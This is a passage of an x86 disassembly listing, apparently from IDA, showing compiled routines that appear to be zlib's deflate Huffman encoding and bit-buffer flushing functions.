mov ecx, [edx+16B4h]
shl eax, cl
mov ecx, [ebp+arg_0]
mov dx, [ecx+16B0h]
or dx, ax
mov eax, [ebp+arg_0]
mov [eax+16B0h], dx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
and edx, 0FFh
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
sar edx, 8
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov edx, [ebp+var_5C]
and edx, 0FFFFh
mov eax, [ebp+arg_0]
mov ecx, 10h
sub ecx, [eax+16B4h]
sar edx, cl
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], dx
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
mov ecx, [ebp+var_58]
lea edx, [eax+ecx-10h]
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
jmp short loc_4C3FE2
; ---------------------------------------------------------------------------
loc_4C3FA5: ; CODE XREF: sub_4C355C+97Aj
mov edx, [ebp+var_4]
sub edx, 0Bh
mov eax, [ebp+arg_0]
mov ecx, [eax+16B4h]
shl edx, cl
mov ecx, [ebp+arg_0]
mov ax, [ecx+16B0h]
or ax, dx
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], ax
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
add eax, [ebp+var_58]
mov ecx, [ebp+arg_0]
mov [ecx+16B4h], eax
loc_4C3FE2: ; CODE XREF: sub_4C355C+1F4j
; sub_4C355C:loc_4C3B16j ...
mov [ebp+var_4], 0
mov edx, [ebp+var_14]
mov [ebp+var_18], edx
cmp [ebp+var_8], 0
jnz short loc_4C4005
mov [ebp+var_C], 8Ah
mov [ebp+var_10], 3
jmp short loc_4C402B
; ---------------------------------------------------------------------------
loc_4C4005: ; CODE XREF: sub_4C355C+A97j
mov eax, [ebp+var_14]
cmp eax, [ebp+var_8]
jnz short loc_4C401D
mov [ebp+var_C], 6
mov [ebp+var_10], 3
jmp short loc_4C402B
; ---------------------------------------------------------------------------
loc_4C401D: ; CODE XREF: sub_4C355C+AAFj
mov [ebp+var_C], 7
mov [ebp+var_10], 4
loc_4C402B: ; CODE XREF: sub_4C355C+AA7j
; sub_4C355C+ABFj
jmp loc_4C35A7
; ---------------------------------------------------------------------------
loc_4C4030: ; CODE XREF: sub_4C355C+5Aj
mov esp, ebp
pop ebp
retn
sub_4C355C endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
mov ecx, [eax+1698h]
mov edx, [ebp+8]
mov eax, [edx+169Ch]
mov dx, [ebp+0Ch]
mov [eax+ecx*2], dx
mov eax, [ebp+8]
mov ecx, [eax+1690h]
mov edx, [ebp+8]
mov eax, [edx+1698h]
mov dl, [ebp+10h]
mov [ecx+eax], dl
mov eax, [ebp+8]
mov ecx, [eax+1698h]
add ecx, 1
mov edx, [ebp+8]
mov [edx+1698h], ecx
cmp dword ptr [ebp+0Ch], 0
jnz short loc_4C40AA
mov eax, [ebp+10h]
mov ecx, [ebp+8]
mov dx, [ecx+eax*4+8Ch]
add dx, 1
mov eax, [ebp+10h]
mov ecx, [ebp+8]
mov [ecx+eax*4+8Ch], dx
jmp loc_4C4142
; ---------------------------------------------------------------------------
loc_4C40AA: ; CODE XREF: .text:004C4083j
mov edx, [ebp+8]
mov eax, [edx+16A8h]
add eax, 1
mov ecx, [ebp+8]
mov [ecx+16A8h], eax
mov edx, [ebp+0Ch]
sub edx, 1
mov [ebp+0Ch], edx
mov eax, [ebp+10h]
xor ecx, ecx
mov cl, byte_4F2CA0[eax]
mov edx, [ebp+8]
mov ax, [edx+ecx*4+490h]
add ax, 1
mov ecx, [ebp+10h]
xor edx, edx
mov dl, byte_4F2CA0[ecx]
mov ecx, [ebp+8]
mov [ecx+edx*4+490h], ax
cmp dword ptr [ebp+0Ch], 100h
jnb short loc_4C4111
mov edx, [ebp+0Ch]
xor eax, eax
mov al, byte_4F2AA0[edx]
mov [ebp-4], eax
jmp short loc_4C4122
; ---------------------------------------------------------------------------
loc_4C4111: ; CODE XREF: .text:004C40FFj
mov ecx, [ebp+0Ch]
shr ecx, 7
xor edx, edx
mov dl, byte_4F2BA0[ecx]
mov [ebp-4], edx
loc_4C4122: ; CODE XREF: .text:004C410Fj
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov dx, [ecx+eax*4+980h]
add dx, 1
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov [ecx+eax*4+980h], dx
loc_4C4142: ; CODE XREF: .text:004C40A5j
mov edx, [ebp+8]
mov eax, [edx+1694h]
sub eax, 1
mov ecx, [ebp+8]
xor edx, edx
cmp [ecx+1698h], eax
setz dl
mov eax, edx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C4162 proc near ; CODE XREF: sub_4C20F2+21Cp
; sub_4C20F2+392p
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 48h
mov [ebp+var_14], 0
mov eax, [ebp+arg_0]
cmp dword ptr [eax+1698h], 0
jz loc_4C4859
loc_4C417F: ; CODE XREF: sub_4C4162+6F1j
mov ecx, [ebp+arg_0]
mov edx, [ecx+169Ch]
mov eax, [ebp+var_14]
xor ecx, ecx
mov cx, [edx+eax*2]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1690h]
mov ecx, [ebp+var_14]
xor edx, edx
mov dl, [eax+ecx]
mov [ebp+var_C], edx
mov eax, [ebp+var_14]
add eax, 1
mov [ebp+var_14], eax
cmp [ebp+var_8], 0
jnz loc_4C42FA
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_4]
xor eax, eax
mov ax, [edx+ecx*4+2]
mov [ebp+var_18], eax
mov ecx, 10h
sub ecx, [ebp+var_18]
mov edx, [ebp+arg_0]
cmp [edx+16B4h], ecx
jle loc_4C42B2
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_4]
xor edx, edx
mov dx, [ecx+eax*4]
mov [ebp+var_1C], edx
mov eax, [ebp+arg_0]
mov edx, [ebp+var_1C]
mov ecx, [eax+16B4h]
shl edx, cl
mov eax, [ebp+arg_0]
mov cx, [eax+16B0h]
or cx, dx
mov edx, [ebp+arg_0]
mov [edx+16B0h], cx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+16B0h]
and ecx, 0FFh
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov edx, [ebp+arg_0]
mov edx, [edx+14h]
mov [eax+edx], cl
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+14h], ecx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+16B0h]
sar ecx, 8
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov edx, [ebp+arg_0]
mov edx, [edx+14h]
mov [eax+edx], cl
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+14h], ecx
mov eax, [ebp+var_1C]
and eax, 0FFFFh
mov ecx, [ebp+arg_0]
mov edx, 10h
sub edx, [ecx+16B4h]
mov ecx, edx
sar eax, cl
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], ax
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
mov ecx, [ebp+var_18]
lea edx, [eax+ecx-10h]
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
jmp short loc_4C42F5
; ---------------------------------------------------------------------------
loc_4C42B2: ; CODE XREF: sub_4C4162+7Aj
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_4]
xor eax, eax
mov ax, [edx+ecx*4]
mov ecx, [ebp+arg_0]
mov ecx, [ecx+16B4h]
shl eax, cl
mov edx, [ebp+arg_0]
mov cx, [edx+16B0h]
or cx, ax
mov edx, [ebp+arg_0]
mov [edx+16B0h], cx
mov eax, [ebp+arg_0]
mov ecx, [eax+16B4h]
add ecx, [ebp+var_18]
mov edx, [ebp+arg_0]
mov [edx+16B4h], ecx
loc_4C42F5: ; CODE XREF: sub_4C4162+14Ej
jmp loc_4C4847
; ---------------------------------------------------------------------------
loc_4C42FA: ; CODE XREF: sub_4C4162+53j
mov eax, [ebp+var_C]
xor ecx, ecx
mov cl, byte_4F2CA0[eax]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cx, [eax+edx*4+406h]
mov [ebp+var_20], ecx
mov edx, 10h
sub edx, [ebp+var_20]
mov eax, [ebp+arg_0]
cmp [eax+16B4h], edx
jle loc_4C4406
mov ecx, [ebp+var_10]
mov edx, [ebp+arg_4]
xor eax, eax
mov ax, [edx+ecx*4+404h]
mov [ebp+var_24], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_24]
mov ecx, [ecx+16B4h]
shl edx, cl
mov eax, [ebp+arg_0]
mov cx, [eax+16B0h]
or cx, dx
mov edx, [ebp+arg_0]
mov [edx+16B0h], cx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+16B0h]
and ecx, 0FFh
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov edx, [ebp+arg_0]
mov edx, [edx+14h]
mov [eax+edx], cl
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+14h], ecx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+16B0h]
sar ecx, 8
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov edx, [ebp+arg_0]
mov edx, [edx+14h]
mov [eax+edx], cl
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+14h], ecx
mov eax, [ebp+var_24]
and eax, 0FFFFh
mov ecx, [ebp+arg_0]
mov edx, 10h
sub edx, [ecx+16B4h]
mov ecx, edx
sar eax, cl
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], ax
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
mov ecx, [ebp+var_20]
lea edx, [eax+ecx-10h]
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
jmp short loc_4C444D
; ---------------------------------------------------------------------------
loc_4C4406: ; CODE XREF: sub_4C4162+1CAj
mov ecx, [ebp+var_10]
mov edx, [ebp+arg_4]
xor eax, eax
mov ax, [edx+ecx*4+404h]
mov ecx, [ebp+arg_0]
mov ecx, [ecx+16B4h]
shl eax, cl
mov edx, [ebp+arg_0]
mov cx, [edx+16B0h]
or cx, ax
mov edx, [ebp+arg_0]
mov [edx+16B0h], cx
mov eax, [ebp+arg_0]
mov ecx, [eax+16B4h]
add ecx, [ebp+var_20]
mov edx, [ebp+arg_0]
mov [edx+16B4h], ecx
loc_4C444D: ; CODE XREF: sub_4C4162+2A2j
mov eax, [ebp+var_10]
mov ecx, dword_4F245C[eax*4]
mov [ebp+var_4], ecx
cmp [ebp+var_4], 0
jz loc_4C4591
mov edx, [ebp+var_10]
mov eax, [ebp+var_C]
sub eax, dword_4F2DA0[edx*4]
mov [ebp+var_C], eax
mov ecx, [ebp+var_4]
mov [ebp+var_28], ecx
mov edx, 10h
sub edx, [ebp+var_28]
mov eax, [ebp+arg_0]
cmp [eax+16B4h], edx
jle loc_4C4557
mov ecx, [ebp+var_C]
mov [ebp+var_2C], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_2C]
mov ecx, [edx+16B4h]
shl eax, cl
mov ecx, [ebp+arg_0]
mov dx, [ecx+16B0h]
or dx, ax
mov eax, [ebp+arg_0]
mov [eax+16B0h], dx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
and edx, 0FFh
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
sar edx, 8
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov edx, [ebp+var_2C]
and edx, 0FFFFh
mov eax, [ebp+arg_0]
mov ecx, 10h
sub ecx, [eax+16B4h]
sar edx, cl
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], dx
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
mov ecx, [ebp+var_28]
lea edx, [eax+ecx-10h]
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
jmp short loc_4C4591
; ---------------------------------------------------------------------------
loc_4C4557: ; CODE XREF: sub_4C4162+329j
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov ecx, [ecx+16B4h]
shl edx, cl
mov eax, [ebp+arg_0]
mov cx, [eax+16B0h]
or cx, dx
mov edx, [ebp+arg_0]
mov [edx+16B0h], cx
mov eax, [ebp+arg_0]
mov ecx, [eax+16B4h]
add ecx, [ebp+var_28]
mov edx, [ebp+arg_0]
mov [edx+16B4h], ecx
loc_4C4591: ; CODE XREF: sub_4C4162+2FCj
; sub_4C4162+3F3j
mov eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_8], eax
cmp [ebp+var_8], 100h
jnb short loc_4C45B3
mov ecx, [ebp+var_8]
xor edx, edx
mov dl, byte_4F2AA0[ecx]
mov [ebp+var_48], edx
jmp short loc_4C45C4
; ---------------------------------------------------------------------------
loc_4C45B3: ; CODE XREF: sub_4C4162+43Fj
mov eax, [ebp+var_8]
shr eax, 7
xor ecx, ecx
mov cl, byte_4F2BA0[eax]
mov [ebp+var_48], ecx
loc_4C45C4: ; CODE XREF: sub_4C4162+44Fj
mov edx, [ebp+var_48]
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
mov ecx, [ebp+arg_8]
xor edx, edx
mov dx, [ecx+eax*4+2]
mov [ebp+var_30], edx
mov eax, 10h
sub eax, [ebp+var_30]
mov ecx, [ebp+arg_0]
cmp [ecx+16B4h], eax
jle loc_4C46C0
mov edx, [ebp+var_10]
mov eax, [ebp+arg_8]
xor ecx, ecx
mov cx, [eax+edx*4]
mov [ebp+var_34], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_34]
mov ecx, [edx+16B4h]
shl eax, cl
mov ecx, [ebp+arg_0]
mov dx, [ecx+16B0h]
or dx, ax
mov eax, [ebp+arg_0]
mov [eax+16B0h], dx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
and edx, 0FFh
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
sar edx, 8
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov edx, [ebp+var_34]
and edx, 0FFFFh
mov eax, [ebp+arg_0]
mov ecx, 10h
sub ecx, [eax+16B4h]
sar edx, cl
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], dx
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
mov ecx, [ebp+var_30]
lea edx, [eax+ecx-10h]
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
jmp short loc_4C4703
; ---------------------------------------------------------------------------
loc_4C46C0: ; CODE XREF: sub_4C4162+489j
mov ecx, [ebp+var_10]
mov edx, [ebp+arg_8]
xor eax, eax
mov ax, [edx+ecx*4]
mov ecx, [ebp+arg_0]
mov ecx, [ecx+16B4h]
shl eax, cl
mov edx, [ebp+arg_0]
mov cx, [edx+16B0h]
or cx, ax
mov edx, [ebp+arg_0]
mov [edx+16B0h], cx
mov eax, [ebp+arg_0]
mov ecx, [eax+16B4h]
add ecx, [ebp+var_30]
mov edx, [ebp+arg_0]
mov [edx+16B4h], ecx
loc_4C4703: ; CODE XREF: sub_4C4162+55Cj
mov eax, [ebp+var_10]
mov ecx, dword_4F24D0[eax*4]
mov [ebp+var_4], ecx
cmp [ebp+var_4], 0
jz loc_4C4847
mov edx, [ebp+var_10]
mov eax, [ebp+var_8]
sub eax, dword_4F2E14[edx*4]
mov [ebp+var_8], eax
mov ecx, [ebp+var_4]
mov [ebp+var_38], ecx
mov edx, 10h
sub edx, [ebp+var_38]
mov eax, [ebp+arg_0]
cmp [eax+16B4h], edx
jle loc_4C480D
mov ecx, [ebp+var_8]
mov [ebp+var_3C], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_3C]
mov ecx, [edx+16B4h]
shl eax, cl
mov ecx, [ebp+arg_0]
mov dx, [ecx+16B0h]
or dx, ax
mov eax, [ebp+arg_0]
mov [eax+16B0h], dx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
and edx, 0FFh
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
sar edx, 8
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov edx, [ebp+var_3C]
and edx, 0FFFFh
mov eax, [ebp+arg_0]
mov ecx, 10h
sub ecx, [eax+16B4h]
sar edx, cl
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], dx
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
mov ecx, [ebp+var_38]
lea edx, [eax+ecx-10h]
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
jmp short loc_4C4847
; ---------------------------------------------------------------------------
loc_4C480D: ; CODE XREF: sub_4C4162+5DFj
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov ecx, [ecx+16B4h]
shl edx, cl
mov eax, [ebp+arg_0]
mov cx, [eax+16B0h]
or cx, dx
mov edx, [ebp+arg_0]
mov [edx+16B0h], cx
mov eax, [ebp+arg_0]
mov ecx, [eax+16B4h]
add ecx, [ebp+var_38]
mov edx, [ebp+arg_0]
mov [edx+16B4h], ecx
loc_4C4847: ; CODE XREF: sub_4C4162:loc_4C42F5j
; sub_4C4162+5B2j ...
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
cmp ecx, [eax+1698h]
jb loc_4C417F
loc_4C4859: ; CODE XREF: sub_4C4162+17j
mov edx, [ebp+arg_4]
xor eax, eax
mov ax, [edx+402h]
mov [ebp+var_40], eax
mov ecx, 10h
sub ecx, [ebp+var_40]
mov edx, [ebp+arg_0]
cmp [edx+16B4h], ecx
jle loc_4C494E
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cx, [eax+400h]
mov [ebp+var_44], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_44]
mov ecx, [edx+16B4h]
shl eax, cl
mov ecx, [ebp+arg_0]
mov dx, [ecx+16B0h]
or dx, ax
mov eax, [ebp+arg_0]
mov [eax+16B0h], dx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
and edx, 0FFh
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
sar edx, 8
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov edx, [ebp+var_44]
and edx, 0FFFFh
mov eax, [ebp+arg_0]
mov ecx, 10h
sub ecx, [eax+16B4h]
sar edx, cl
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], dx
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
mov ecx, [ebp+var_40]
lea edx, [eax+ecx-10h]
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
jmp short loc_4C4991
; ---------------------------------------------------------------------------
loc_4C494E: ; CODE XREF: sub_4C4162+717j
mov ecx, [ebp+arg_4]
xor edx, edx
mov dx, [ecx+400h]
mov eax, [ebp+arg_0]
mov ecx, [eax+16B4h]
shl edx, cl
mov ecx, [ebp+arg_0]
mov ax, [ecx+16B0h]
or ax, dx
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], ax
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
add eax, [ebp+var_40]
mov ecx, [ebp+arg_0]
mov [ecx+16B4h], eax
loc_4C4991: ; CODE XREF: sub_4C4162+7EAj
mov edx, [ebp+arg_4]
xor eax, eax
mov ax, [edx+402h]
mov ecx, [ebp+arg_0]
mov [ecx+16ACh], eax
mov esp, ebp
pop ebp
retn
sub_4C4162 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C49AA proc near ; CODE XREF: sub_4C20F2+2Bp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_C], 0
mov [ebp+var_8], 0
mov [ebp+var_4], 0
loc_4C49C5: ; CODE XREF: sub_4C49AA+42j
cmp [ebp+var_C], 7
jge short loc_4C49EE
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+eax*4+8Ch]
mov eax, [ebp+var_4]
add eax, edx
mov [ebp+var_4], eax
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
jmp short loc_4C49C5
; ---------------------------------------------------------------------------
loc_4C49EE: ; CODE XREF: sub_4C49AA+1Fj
; sub_4C49AA+6Ej
cmp [ebp+var_C], 80h
jge short loc_4C4A1A
mov edx, [ebp+var_C]
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+edx*4+8Ch]
mov edx, [ebp+var_8]
add edx, ecx
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_4C49EE
; ---------------------------------------------------------------------------
loc_4C4A1A: ; CODE XREF: sub_4C49AA+4Bj
; sub_4C49AA+9Aj
cmp [ebp+var_C], 100h
jge short loc_4C4A46
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx+ecx*4+8Ch]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
jmp short loc_4C4A1A
; ---------------------------------------------------------------------------
loc_4C4A46: ; CODE XREF: sub_4C49AA+77j
mov eax, [ebp+var_8]
shr eax, 2
cmp eax, [ebp+var_4]
sbb ecx, ecx
inc ecx
mov edx, [ebp+arg_0]
mov [edx+1Ch], cl
mov esp, ebp
pop ebp
retn
sub_4C49AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C4A5C proc near ; CODE XREF: sub_4C2D20+ACp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
loc_4C4A67: ; CODE XREF: sub_4C4A5C+36j
mov eax, [ebp+arg_0]
and eax, 1
mov ecx, [ebp+var_4]
or ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
shr edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+var_4]
shl eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
sub ecx, 1
mov [ebp+arg_4], ecx
cmp [ebp+arg_4], 0
jg short loc_4C4A67
mov eax, [ebp+var_4]
shr eax, 1
mov esp, ebp
pop ebp
retn
sub_4C4A5C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C4A9D proc near ; CODE XREF: sub_4C1C03+25Bp
; sub_4C1C03+4D6p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
cmp dword ptr [eax+16B4h], 10h
jnz short loc_4C4B24
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
and edx, 0FFh
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
sar edx, 8
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov ecx, [ebp+arg_0]
mov word ptr [ecx+16B0h], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+16B4h], 0
jmp short loc_4C4B84
; ---------------------------------------------------------------------------
loc_4C4B24: ; CODE XREF: sub_4C4A9D+Dj
mov eax, [ebp+arg_0]
cmp dword ptr [eax+16B4h], 8
jl short loc_4C4B84
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
mov eax, [ebp+arg_0]
mov al, [eax+16B0h]
mov [edx+ecx], al
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov ecx, [ebp+arg_0]
mov dx, [ecx+16B0h]
shr dx, 8
mov eax, [ebp+arg_0]
mov [eax+16B0h], dx
mov ecx, [ebp+arg_0]
mov edx, [ecx+16B4h]
sub edx, 8
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
loc_4C4B84: ; CODE XREF: sub_4C4A9D+85j
; sub_4C4A9D+91j
pop ebp
retn
sub_4C4A9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C4B86 proc near ; CODE XREF: sub_4C20F2+3B0p
; sub_4C4C42+7p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
cmp dword ptr [eax+16B4h], 8
jle short loc_4C4BF4
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
and edx, 0FFh
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
sar edx, 8
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
jmp short loc_4C4C27
; ---------------------------------------------------------------------------
loc_4C4BF4: ; CODE XREF: sub_4C4B86+Dj
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+16B4h], 0
jle short loc_4C4C27
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
mov ecx, [ebp+arg_0]
mov cl, [ecx+16B0h]
mov [eax+edx], cl
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+14h], eax
loc_4C4C27: ; CODE XREF: sub_4C4B86+6Cj
; sub_4C4B86+78j
mov edx, [ebp+arg_0]
mov word ptr [edx+16B0h], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax+16B4h], 0
pop ebp
retn
sub_4C4B86 endp
